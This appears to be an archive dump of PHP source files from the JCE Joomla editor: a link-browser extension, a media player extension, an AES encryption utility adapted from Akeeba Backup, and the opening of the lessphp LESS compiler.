use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Filter\InputFilter;

class WFLinkExtension extends WFExtension
{
    /*
     *  @var varchar
     */

    private $extensions = array();
    protected static $instance;
    protected static $links = array();

    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        parent::__construct();

        $extensions = self::loadExtensions('links');

        // Load all link extensions
        foreach ($extensions as $link) {
            $this->extensions[] = $this->getLinkExtension($link->name);
        }

        $request = WFRequest::getInstance();
        $request->setRequest(array($this, 'getLinks'));
    }

    public static function getInstance($config = array())
    {
        if (!isset(self::$instance)) {
            self::$instance = new self($config);
        }

        return self::$instance;
    }

    public function display()
    {
        parent::display();

        foreach ($this->extensions as $extension) {
            $extension->display();
        }
    }

    private function getLinkExtension($name)
    {
        if (array_key_exists($name, self::$links) === false || empty(self::$links[$name])) {
            $classname = 'WFLinkBrowser_' . ucfirst($name);
            // create class
            if (class_exists($classname)) {
                self::$links[$name] = new $classname();
            }
        }

        return self::$links[$name];
    }

    public function getLists()
    {
        $list = array();

        foreach ($this->extensions as $extension) {
            if ($extension->isEnabled()) {
                $list[] = $extension->getList();
            }
        }

        return $list;
    }

    public function render()
    {
        $list = $this->getLists();

        if (empty($list)) {
            return '';
        }

        $view = $this->getView(array('name' => 'links', 'layout' => 'links'));
        $view->list = implode("\n", $list);
        $view->display();
    }

    private static function cleanInput($args, $method = 'string')
    {
        $filter = InputFilter::getInstance();

        foreach ($args as $k => $v) {
            $args->$k = $filter->clean($v, $method);
            $args->$k = (string) filter_var($args->$k, FILTER_UNSAFE_RAW, FILTER_FLAG_STRIP_LOW | FILTER_FLAG_STRIP_BACKTICK);
            $args->$k = htmlspecialchars(strip_tags($args->$k));
        }

        return $args;
    }

    public function getLinks($args)
    {
        $args = self::cleanInput($args, 'STRING');

        foreach ($this->extensions as $extension) {
            if (in_array($args->option, $extension->getOption())) {
                $items = $extension->getLinks($args);
            }
        }
        $array = array();
        $result = array();
        if (isset($items)) {
            foreach ($items as $item) {
                $array[] = array(
                    'id' => isset($item['id']) ? self::xmlEncode($item['id']) : '',
                    'url' => isset($item['url']) ? self::xmlEncode($item['url']) : '',
                    'name' => self::xmlEncode($item['name']), 'class' => $item['class'],
                );
            }
            $result = array('folders' => $array);
        }

        return $result;
    }

    /**
     * Category function used by many extensions.
     *
     * @return Category list object
     *
     * @since    1.5
     */
    public static function getCategory($section, $parent = 1)
    {
        $db = Factory::getDBO();
        $user = Factory::getUser();
        $wf = WFEditorPlugin::getInstance();

        $query = $db->getQuery(true);

        $where = array();

        $version = new Joomla\CMS\Version();
        $language = $version->isCompatible('3.0') ? ', language' : '';

        $where[] = 'parent_id = ' . (int) $parent;
        $where[] = 'extension = ' . $db->Quote($section);

        if (!$user->authorise('core.admin')) {
            $where[] = 'access IN (' . implode(',', $user->getAuthorisedViewLevels()) . ')';
        }

        if (!$wf->checkAccess('static', 1)) {
            $where[] = 'path != ' . $db->Quote('uncategorised');
        }

        $case = '';

        if ($wf->getParam('category_alias', 1) == 1) {
            //sqlsrv changes
            $case = ', CASE WHEN ';
            $case .= $query->charLength('alias', '!=', '0');
            $case .= ' THEN ';

            // Joomla 3 compatibility
            if (method_exists($query, 'castAsChar')) {
                $a_id = $query->castAsChar('id');
            } else {
                $a_id = $query->castAs('CHAR', 'id');
            }

            $case .= $query->concatenate(array($a_id, 'alias'), ':');
            $case .= ' ELSE ';
            $case .= $a_id . ' END as slug';
        }

        $where[] = 'published = 1';
        $query->select('id AS slug, id AS id, title, alias, access' . $language . $case)->from('#__categories')->where($where)->order('title');

        $db->setQuery($query);

        return $db->loadObjectList();
    }

    /**
     * (Attempt to) Get an Itemid.
     *
     * @param string $component
     * @param array  $needles
     *
     * @return Category list object
     */
    public static function getItemId($component, $needles = array())
    {
        $match = null;

        $version = new Joomla\CMS\Version();

        $app = CMSApplication::getInstance('site');
        $tag = $version->isCompatible('4.0') ? 'component_id' : 'componentid';

        $component = ComponentHelper::getComponent($component);
        $menu = $app->getMenu('site');
        $items = $menu->getItems($tag, $component->id);

        if ($items) {
            foreach ($needles as $needle => $id) {
                foreach ($items as $item) {
                    if ((@$item->query['view'] == $needle) && (@$item->query['id'] == $id)) {
                        $match = $item->id;
                        break;
                    }
                }
                if (isset($match)) {
                    break;
                }
            }
        }

        return $match ? '&Itemid=' . $match : '';
    }

    /**
     * XML encode a string.
     *
     * @param     string    String to encode
     *
     * @return string Encoded string
     */
    private static function xmlEncode($string)
    {
        return str_replace(array('&', '<', '>', "'", '"'), array('&amp;', '&lt;', '&gt;', '&apos;', '&quot;'), $string);
    }
}

abstract class WFLinkBrowser extends WFLinkExtension
{
}
com_jce/editor/libraries/classes/extensions/index.html000060400000000054152453734450017245 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/libraries/classes/extensions/mediaplayer.php000060400000006413152453734450020262 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

class WFMediaPlayerExtension extends WFExtension
{
    protected static $instance;

    public function __construct($config = array())
    {
        $default = array(
            'name' => '',
            'title' => '',
            'params' => array(),
        );

        $config = array_merge($default, $config);

        parent::__construct($config);
    }

    /**
     * Returns a reference to a manager object.
     *
     * This method must be invoked as:
     *    <pre>  $manager =MediaManager::getInstance();</pre>
     *
     * @return MediaManager The manager object
     *
     * @since 1.5
     */
    public static function getInstance($name = 'jceplayer')
    {
        if (!isset(self::$instance)) {
            $classname = '';

            if ($name && $name != 'none') {
                $player = parent::loadExtensions('mediaplayer', $name);

                if ($player) {
                    $classname = 'WFMediaPlayerExtension_' . ucfirst($player->name);
                }
            }

            if ($classname && class_exists($classname)) {
                self::$instance = new $classname();
            } else {
                self::$instance = new self();
            }
        }

        return self::$instance;
    }

    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();

        if ($this->isEnabled() && $this->get('name')) {
            $document->addScript(array(
                'mediaplayer/' . $this->get('name') . '/js/' . $this->get('name'),
            ), 'extensions');

            $document->addStyleSheet(array(
                'mediaplayer/' . $this->get('name') . '/css/' . $this->get('name'),
            ), 'extensions');

            $document->addScriptDeclaration('WFExtensions.MediaPlayer.init(' . json_encode($this->getProperties()) . ')');
        }
    }

    public function isEnabled()
    {
        return false;
    }

    public function getName()
    {
        return $this->get('name');
    }

    public function getTitle()
    {
        return $this->get('title');
    }

    public function getParams()
    {
        return $this->params;
    }

    public function getParam($param, $default = '')
    {
        $params = $this->getParams();

        return isset($params[$param]) ? $params[$param] : $default;
    }

    /**
     * @param object $player
     *
     * @return string
     */
    public function loadTemplate($tpl = '')
    {
        $output = '';

        if ($this->isEnabled()) {
            $path = WF_EDITOR_EXTENSIONS . '/mediaplayer/' . $this->get('name');

            $file = 'default.php';

            if ($tpl) {
                $file = 'default_' . $tpl . '.php';
            }

            if (file_exists($path . '/tmpl/' . $file)) {
                ob_start();

                include $path . '/tmpl/' . $file;

                $output .= ob_get_contents();
                ob_end_clean();
            }
        }

        return $output;
    }
}
com_jce/editor/libraries/classes/encrypt.php000060400000054036152453734450015257 0ustar00<?php
/**
 * @copyright Copyright (c)2009-2013 Nicholas K. Dionysopoulos
 * @license GNU General Public License version 3, or later
 *
 * @since 2.4
 */

// Protection against direct access
\defined('_JEXEC') or die;

/**
 * AES implementation in PHP (c) Chris Veness 2005-2013.
 * Right to use and adapt is granted for under a simple creative commons attribution
 * licence. No warranty of any form is offered.
 *
 * Modified for Akeeba Backup by Nicholas K. Dionysopoulos
 * Included for JCE with the kind permission of Nicholas K. Dionysopoulos
 */
class WFUtilEncrypt
{
    // Sbox is pre-computed multiplicative inverse in GF(2^8) used in SubBytes and KeyExpansion [�5.1.1]
    protected static $Sbox =
             array(0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
                   0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
                   0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
                   0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
                   0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
                   0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
                   0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
                   0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
                   0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
                   0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
                   0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
                   0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
                   0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
                   0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
                   0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
                   0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16, );

    // Rcon is Round Constant used for the Key Expansion [1st col is 2^(r-1) in GF(2^8)] [�5.2]
    protected static $Rcon = array(
                   array(0x00, 0x00, 0x00, 0x00),
                   array(0x01, 0x00, 0x00, 0x00),
                   array(0x02, 0x00, 0x00, 0x00),
                   array(0x04, 0x00, 0x00, 0x00),
                   array(0x08, 0x00, 0x00, 0x00),
                   array(0x10, 0x00, 0x00, 0x00),
                   array(0x20, 0x00, 0x00, 0x00),
                   array(0x40, 0x00, 0x00, 0x00),
                   array(0x80, 0x00, 0x00, 0x00),
                   array(0x1b, 0x00, 0x00, 0x00),
                   array(0x36, 0x00, 0x00, 0x00), );

    protected static $passwords = array();

    /**
     * AES Cipher function: encrypt 'input' with Rijndael algorithm.
     *
     * @param input message as byte-array (16 bytes)
     * @param w     key schedule as 2D byte-array (Nr+1 x Nb bytes) -
     *              generated from the cipher key by KeyExpansion()
     *
     * @return ciphertext as byte-array (16 bytes)
     */
    public static function Cipher($input, $w)
    {    // main Cipher function [�5.1]
      $Nb = 4;                 // block size (in words): no of columns in state (fixed at 4 for AES)
      $Nr = count($w) / $Nb - 1; // no of rounds: 10/12/14 for 128/192/256-bit keys

      $state = array();  // initialise 4xNb byte-array 'state' with input [�3.4]
      for ($i = 0; $i < 4 * $Nb; ++$i) {
          $state[$i % 4][floor($i / 4)] = $input[$i];
      }

        $state = self::AddRoundKey($state, $w, 0, $Nb);

        for ($round = 1; $round < $Nr; ++$round) {  // apply Nr rounds
        $state = self::SubBytes($state, $Nb);
            $state = self::ShiftRows($state, $Nb);
            $state = self::MixColumns($state, $Nb);
            $state = self::AddRoundKey($state, $w, $round, $Nb);
        }

        $state = self::SubBytes($state, $Nb);
        $state = self::ShiftRows($state, $Nb);
        $state = self::AddRoundKey($state, $w, $Nr, $Nb);

        $output = array(4 * $Nb);  // convert state to 1-d array before returning [�3.4]
      for ($i = 0; $i < 4 * $Nb; ++$i) {
          $output[$i] = $state[$i % 4][floor($i / 4)];
      }

        return $output;
    }

    protected static function AddRoundKey($state, $w, $rnd, $Nb)
    {  // xor Round Key into state S [�5.1.4]
      for ($r = 0; $r < 4; ++$r) {
          for ($c = 0; $c < $Nb; ++$c) {
              $state[$r][$c] ^= $w[$rnd * 4 + $c][$r];
          }
      }

        return $state;
    }

    protected static function SubBytes($s, $Nb)
    {    // apply SBox to state S [�5.1.1]
      for ($r = 0; $r < 4; ++$r) {
          for ($c = 0; $c < $Nb; ++$c) {
              $s[$r][$c] = self::$Sbox[$s[$r][$c]];
          }
      }

        return $s;
    }

    protected static function ShiftRows($s, $Nb)
    {    // shift row r of state S left by r bytes [�5.1.2]
      $t = array(4);
        for ($r = 1; $r < 4; ++$r) {
            for ($c = 0; $c < 4; ++$c) {
                $t[$c] = $s[$r][($c + $r) % $Nb];
            }  // shift into temp copy
        for ($c = 0; $c < 4; ++$c) {
            $s[$r][$c] = $t[$c];
        }         // and copy back
        }          // note that this will work for Nb=4,5,6, but not 7,8 (always 4 for AES):
      return $s;  // see fp.gladman.plus.com/cryptography_technology/rijndael/aes.spec.311.pdf
    }

    protected static function MixColumns($s, $Nb)
    {   // combine bytes of each col of state S [�5.1.3]
      for ($c = 0; $c < 4; ++$c) {
          $a = array(4);  // 'a' is a copy of the current column from 's'
        $b = array(4);  // 'b' is a�{02} in GF(2^8)
        for ($i = 0; $i < 4; ++$i) {
            $a[$i] = $s[$i][$c];
            $b[$i] = $s[$i][$c] & 0x80 ? $s[$i][$c] << 1 ^ 0x011b : $s[$i][$c] << 1;
        }
        // a[n] ^ b[n] is a�{03} in GF(2^8)
        $s[0][$c] = $b[0] ^ $a[1] ^ $b[1] ^ $a[2] ^ $a[3]; // 2*a0 + 3*a1 + a2 + a3
        $s[1][$c] = $a[0] ^ $b[1] ^ $a[2] ^ $b[2] ^ $a[3]; // a0 * 2*a1 + 3*a2 + a3
        $s[2][$c] = $a[0] ^ $a[1] ^ $b[2] ^ $a[3] ^ $b[3]; // a0 + a1 + 2*a2 + 3*a3
        $s[3][$c] = $a[0] ^ $b[0] ^ $a[1] ^ $a[2] ^ $b[3]; // 3*a0 + a1 + a2 + 2*a3
      }

        return $s;
    }

    /**
     * Key expansion for Rijndael Cipher(): performs key expansion on cipher key
     * to generate a key schedule.
     *
     * @param key cipher key byte-array (16 bytes)
     *
     * @return key schedule as 2D byte-array (Nr+1 x Nb bytes)
     */
    public static function KeyExpansion($key)
    {  // generate Key Schedule from Cipher Key [�5.2]
      $Nb = 4;              // block size (in words): no of columns in state (fixed at 4 for AES)
      $Nk = count($key) / 4;  // key length (in words): 4/6/8 for 128/192/256-bit keys
      $Nr = $Nk + 6;        // no of rounds: 10/12/14 for 128/192/256-bit keys

      $w = array();
        $temp = array();

        for ($i = 0; $i < $Nk; ++$i) {
            $r = array($key[4 * $i], $key[4 * $i + 1], $key[4 * $i + 2], $key[4 * $i + 3]);
            $w[$i] = $r;
        }

        for ($i = $Nk; $i < ($Nb * ($Nr + 1)); ++$i) {
            $w[$i] = array();
            for ($t = 0; $t < 4; ++$t) {
                $temp[$t] = $w[$i - 1][$t];
            }
            if ($i % $Nk == 0) {
                $temp = self::SubWord(self::RotWord($temp));
                for ($t = 0; $t < 4; ++$t) {
                    $temp[$t] ^= self::$Rcon[$i / $Nk][$t];
                }
            } elseif ($Nk > 6 && $i % $Nk == 4) {
                $temp = self::SubWord($temp);
            }
            for ($t = 0; $t < 4; ++$t) {
                $w[$i][$t] = $w[$i - $Nk][$t] ^ $temp[$t];
            }
        }

        return $w;
    }

    protected static function SubWord($w)
    {    // apply SBox to 4-byte word w
      for ($i = 0; $i < 4; ++$i) {
          $w[$i] = self::$Sbox[$w[$i]];
      }

        return $w;
    }

    protected static function RotWord($w)
    {    // rotate 4-byte word w left by one byte
      $tmp = $w[0];
        for ($i = 0; $i < 3; ++$i) {
            $w[$i] = $w[$i + 1];
        }
        $w[3] = $tmp;

        return $w;
    }

    /*
     * Unsigned right shift function, since PHP has neither >>> operator nor unsigned ints
     *
     * @param a  number to be shifted (32-bit integer)
     * @param b  number of bits to shift a to the right (0..31)
     * @return   a right-shifted and zero-filled by b bits
     */
    protected static function urs($a, $b)
    {
        $a &= 0xffffffff;
        $b &= 0x1f;  // (bounds check)
      if ($a & 0x80000000 && $b > 0) {   // if left-most bit set
        $a = ($a >> 1) & 0x7fffffff;   //   right-shift one bit & clear left-most bit
        $a = $a >> ($b - 1);           //   remaining right-shifts
      } else {                       // otherwise
        $a = ($a >> $b);               //   use normal right-shift
      }

        return $a;
    }

    /**
     * Encrypt a text using AES encryption in Counter mode of operation
     *  - see http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf.
     *
     * Unicode multi-byte character safe
     *
     * @param plaintext source text to be encrypted
     * @param password  the password to use to generate a key
     * @param nBits     number of bits to be used in the key (128, 192, or 256)
     *
     * @return encrypted text
     */
    public static function AESEncryptCtr($plaintext, $password, $nBits)
    {
        $blockSize = 16;  // block size fixed at 16 bytes / 128 bits (Nb=4) for AES
      if (!($nBits == 128 || $nBits == 192 || $nBits == 256)) {
          return '';
      }  // standard allows 128/192/256 bit keys
      // note PHP (5) gives us plaintext and password in UTF8 encoding!

      // use AES itself to encrypt password to get cipher key (using plain password as source for
      // key expansion) - gives us well encrypted key
      $nBytes = $nBits / 8;  // no bytes in key
      $pwBytes = array();
        for ($i = 0; $i < $nBytes; ++$i) {
            $pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
        }
        $key = self::Cipher($pwBytes, self::KeyExpansion($pwBytes));
        $key = array_merge($key, array_slice($key, 0, $nBytes - 16));  // expand key to 16/24/32 bytes long

      // initialise counter block (NIST SP800-38A �B.2): millisecond time-stamp for nonce in
      // 1st 8 bytes, block counter in 2nd 8 bytes
      $counterBlock = array();
        $nonce = floor(microtime(true) * 1000);   // timestamp: milliseconds since 1-Jan-1970
      $nonceSec = floor($nonce / 1000);
        $nonceMs = $nonce % 1000;
      // encode nonce with seconds in 1st 4 bytes, and (repeated) ms part filling 2nd 4 bytes
      for ($i = 0; $i < 4; ++$i) {
          $counterBlock[$i] = self::urs($nonceSec, $i * 8) & 0xff;
      }
        for ($i = 0; $i < 4; ++$i) {
            $counterBlock[$i + 4] = $nonceMs & 0xff;
        }
      // and convert it to a string to go on the front of the ciphertext
      $ctrTxt = '';
        for ($i = 0; $i < 8; ++$i) {
            $ctrTxt .= chr($counterBlock[$i]);
        }

      // generate key schedule - an expansion of the key into distinct Key Rounds for each round
      $keySchedule = self::KeyExpansion($key);

        $blockCount = ceil(strlen($plaintext) / $blockSize);
        $ciphertxt = array();  // ciphertext as array of strings

      for ($b = 0; $b < $blockCount; ++$b) {
          // set counter (block #) in last 8 bytes of counter block (leaving nonce in 1st 8 bytes)
        // done in two stages for 32-bit ops: using two words allows us to go past 2^32 blocks (68GB)
        for ($c = 0; $c < 4; ++$c) {
            $counterBlock[15 - $c] = self::urs($b, $c * 8) & 0xff;
        }
          for ($c = 0; $c < 4; ++$c) {
              $counterBlock[15 - $c - 4] = self::urs($b / 0x100000000, $c * 8);
          }

          $cipherCntr = self::Cipher($counterBlock, $keySchedule);  // -- encrypt counter block --

        // block size is reduced on final block
        $blockLength = $b < $blockCount - 1 ? $blockSize : (strlen($plaintext) - 1) % $blockSize + 1;
          $cipherByte = array();

          for ($i = 0; $i < $blockLength; ++$i) {  // -- xor plaintext with ciphered counter byte-by-byte --
          $cipherByte[$i] = $cipherCntr[$i] ^ ord(substr($plaintext, $b * $blockSize + $i, 1));
              $cipherByte[$i] = chr($cipherByte[$i]);
          }
          $ciphertxt[$b] = implode('', $cipherByte);  // escape troublesome characters in ciphertext
      }

      // implode is more efficient than repeated string concatenation
      $ciphertext = $ctrTxt.implode('', $ciphertxt);
        $ciphertext = base64_encode($ciphertext);

        return $ciphertext;
    }

    /**
     * Decrypt a text encrypted by AES in counter mode of operation.
     *
     * @param ciphertext source text to be decrypted
     * @param password   the password to use to generate a key
     * @param nBits      number of bits to be used in the key (128, 192, or 256)
     *
     * @return decrypted text
     */
    public static function AESDecryptCtr($ciphertext, $password, $nBits)
    {
        $blockSize = 16;  // block size fixed at 16 bytes / 128 bits (Nb=4) for AES
      if (!($nBits == 128 || $nBits == 192 || $nBits == 256)) {
          return '';
      }  // standard allows 128/192/256 bit keys
      $ciphertext = base64_decode($ciphertext);

      // use AES to encrypt password (mirroring encrypt routine)
      $nBytes = $nBits / 8;  // no bytes in key
      $pwBytes = array();
        for ($i = 0; $i < $nBytes; ++$i) {
            $pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
        }
        $key = self::Cipher($pwBytes, self::KeyExpansion($pwBytes));
        $key = array_merge($key, array_slice($key, 0, $nBytes - 16));  // expand key to 16/24/32 bytes long

      // recover nonce from 1st element of ciphertext
      $counterBlock = array();
        $ctrTxt = substr($ciphertext, 0, 8);
        for ($i = 0; $i < 8; ++$i) {
            $counterBlock[$i] = ord(substr($ctrTxt, $i, 1));
        }

      // generate key schedule
      $keySchedule = self::KeyExpansion($key);

      // separate ciphertext into blocks (skipping past initial 8 bytes)
      $nBlocks = ceil((strlen($ciphertext) - 8) / $blockSize);
        $ct = array();
        for ($b = 0; $b < $nBlocks; ++$b) {
            $ct[$b] = substr($ciphertext, 8 + $b * $blockSize, 16);
        }
        $ciphertext = $ct;  // ciphertext is now array of block-length strings

      // plaintext will get generated block-by-block into array of block-length strings
      $plaintxt = array();

        for ($b = 0; $b < $nBlocks; ++$b) {
            // set counter (block #) in last 8 bytes of counter block (leaving nonce in 1st 8 bytes)
        for ($c = 0; $c < 4; ++$c) {
            $counterBlock[15 - $c] = self::urs($b, $c * 8) & 0xff;
        }
            for ($c = 0; $c < 4; ++$c) {
                $counterBlock[15 - $c - 4] = self::urs(($b + 1) / 0x100000000 - 1, $c * 8) & 0xff;
            }

            $cipherCntr = self::Cipher($counterBlock, $keySchedule);  // encrypt counter block

        $plaintxtByte = array();
            for ($i = 0; $i < strlen($ciphertext[$b]); ++$i) {
                // -- xor plaintext with ciphered counter byte-by-byte --
          $plaintxtByte[$i] = $cipherCntr[$i] ^ ord(substr($ciphertext[$b], $i, 1));
                $plaintxtByte[$i] = chr($plaintxtByte[$i]);
            }
            $plaintxt[$b] = implode('', $plaintxtByte);
        }

      // join array of blocks into single plaintext string
      $plaintext = implode('', $plaintxt);

        return $plaintext;
    }

    /**
     * AES encryption in CBC mode. This is the standard mode (the CTR methods
     * actually use Rijndael-128 in CTR mode, which - technically - isn't AES).
     * The data length is tucked as a 32-bit unsigned integer (little endian)
     * after the ciphertext. It supports AES-128, AES-192 and AES-256.
     *
     * @since 3.0.1
     *
     * @author Nicholas K. Dionysopoulos
     *
     * @param string $plaintext The data to encrypt
     * @param string $password  Encryption password
     * @param int    $nBits     Encryption key size. Can be 128, 192 or 256
     *
     * @return string The ciphertext
     */
    public static function AESEncryptCBC($plaintext, $password, $nBits = 128)
    {
        if (!($nBits == 128 || $nBits == 192 || $nBits == 256)) {
            return false;
        }  // standard allows 128/192/256 bit keys
        if (!function_exists('mcrypt_module_open')) {
            return false;
        }

            // Try to fetch cached key/iv or create them if they do not exist
        $lookupKey = $password.'-'.$nBits;
        if (array_key_exists($lookupKey, self::$passwords)) {
            $key = self::$passwords[$lookupKey]['key'];
            $iv = self::$passwords[$lookupKey]['iv'];
        } else {
            // use AES itself to encrypt password to get cipher key (using plain password as source for
            // key expansion) - gives us well encrypted key
            $nBytes = $nBits / 8;  // no bytes in key
            $pwBytes = array();
            for ($i = 0; $i < $nBytes; ++$i) {
                $pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
            }
            $key = self::Cipher($pwBytes, self::KeyExpansion($pwBytes));
            $key = array_merge($key, array_slice($key, 0, $nBytes - 16));  // expand key to 16/24/32 bytes long
            $newKey = '';
            foreach ($key as $int) {
                $newKey .= chr($int);
            }
            $key = $newKey;

            // Create an Initialization Vector (IV) based on the password, using the same technique as for the key
            $nBytes = 16;  // AES uses a 128 -bit (16 byte) block size, hence the IV size is always 16 bytes
            $pwBytes = array();
            for ($i = 0; $i < $nBytes; ++$i) {
                $pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
            }
            $iv = self::Cipher($pwBytes, self::KeyExpansion($pwBytes));
            $newIV = '';
            foreach ($iv as $int) {
                $newIV .= chr($int);
            }
            $iv = $newIV;

            self::$passwords[$lookupKey]['key'] = $key;
            self::$passwords[$lookupKey]['iv'] = $iv;
        }

        $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
        mcrypt_generic_init($td, $key, $iv);
        $ciphertext = mcrypt_generic($td, $plaintext);
        mcrypt_generic_deinit($td);

        $ciphertext .= pack('V', strlen($plaintext));

        return $ciphertext;
    }

    /**
     * AES decryption in CBC mode. This is the standard mode (the CTR methods
     * actually use Rijndael-128 in CTR mode, which - technically - isn't AES).
     *
     * Supports AES-128, AES-192 and AES-256. It supposes that the last 4 bytes
     * contained a little-endian unsigned long integer representing the unpadded
     * data length.
     *
     * @since 3.0.1
     *
     * @author Nicholas K. Dionysopoulos
     *
     * @param string $ciphertext The data to encrypt
     * @param string $password   Encryption password
     * @param int    $nBits      Encryption key size. Can be 128, 192 or 256
     *
     * @return string The plaintext
     */
    public static function AESDecryptCBC($ciphertext, $password, $nBits = 128)
    {
        if (!($nBits == 128 || $nBits == 192 || $nBits == 256)) {
            return false;
        }  // standard allows 128/192/256 bit keys
        if (!function_exists('mcrypt_module_open')) {
            return false;
        }

        // Try to fetch cached key/iv or create them if they do not exist
        $lookupKey = $password.'-'.$nBits;
        if (array_key_exists($lookupKey, self::$passwords)) {
            $key = self::$passwords[$lookupKey]['key'];
            $iv = self::$passwords[$lookupKey]['iv'];
        } else {
            // use AES itself to encrypt password to get cipher key (using plain password as source for
            // key expansion) - gives us well encrypted key
            $nBytes = $nBits / 8;  // no bytes in key
            $pwBytes = array();
            for ($i = 0; $i < $nBytes; ++$i) {
                $pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
            }
            $key = self::Cipher($pwBytes, self::KeyExpansion($pwBytes));
            $key = array_merge($key, array_slice($key, 0, $nBytes - 16));  // expand key to 16/24/32 bytes long
            $newKey = '';
            foreach ($key as $int) {
                $newKey .= chr($int);
            }
            $key = $newKey;

            // Create an Initialization Vector (IV) based on the password, using the same technique as for the key
            $nBytes = 16;  // AES uses a 128 -bit (16 byte) block size, hence the IV size is always 16 bytes
            $pwBytes = array();
            for ($i = 0; $i < $nBytes; ++$i) {
                $pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
            }
            $iv = self::Cipher($pwBytes, self::KeyExpansion($pwBytes));
            $newIV = '';
            foreach ($iv as $int) {
                $newIV .= chr($int);
            }
            $iv = $newIV;

            self::$passwords[$lookupKey]['key'] = $key;
            self::$passwords[$lookupKey]['iv'] = $iv;
        }

        // Read the data size
        $data_size = unpack('V', substr($ciphertext, -4));

        // Decrypt
        $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
        mcrypt_generic_init($td, $key, $iv);
        $plaintext = mdecrypt_generic($td, substr($ciphertext, 0, -4));
        mcrypt_generic_deinit($td);

        // Trim padding, if necessary
        if (strlen($plaintext) > $data_size) {
            $plaintext = substr($plaintext, 0, $data_size);
        }

        return $plaintext;
    }
}
com_jce/editor/libraries/classes/vendor/lessphp/lessc.inc.php000060400000355314152453734450020432 0ustar00<?php

/**
 * lessphp v0.5.0
 * http://leafo.net/lessphp
 *
 * LESS CSS compiler, adapted from http://lesscss.org
 *
 * Copyright 2013, Leaf Corcoran <leafot@gmail.com>
 * Licensed under MIT or GPLv3, see LICENSE
 */


/**
 * The LESS compiler and parser.
 *
 * Converting LESS to CSS is a three stage process. The incoming file is parsed
 * by `lessc_parser` into a syntax tree, then it is compiled into another tree
 * representing the CSS structure by `lessc`. The CSS tree is fed into a
 * formatter, like `lessc_formatter` which then outputs CSS as a string.
 *
 * During the first compile, all values are *reduced*, which means that their
 * types are brought to the lowest form before being dump as strings. This
 * handles math equations, variable dereferences, and the like.
 *
 * The `parse` function of `lessc` is the entry point.
 *
 * In summary:
 *
 * The `lessc` class creates an instance of the parser, feeds it LESS code,
 * then transforms the resulting tree to a CSS tree. This class also holds the
 * evaluation context, such as all available mixins and variables at any given
 * time.
 *
 * The `lessc_parser` class is only concerned with parsing its input.
 *
 * The `lessc_formatter` takes a CSS tree, and dumps it to a formatted string,
 * handling things like indentation.
 */
class lessc {
    static public $VERSION = "v0.5.0";

    static public $TRUE = array("keyword", "true");
    static public $FALSE = array("keyword", "false");

    protected $libFunctions = array();
    protected $registeredVars = array();
    protected $preserveComments = false;

    public $vPrefix = '@'; // prefix of abstract properties
    public $mPrefix = '$'; // prefix of abstract blocks
    public $parentSelector = '&';

    public $importDisabled = false;
    public $importDir = '';

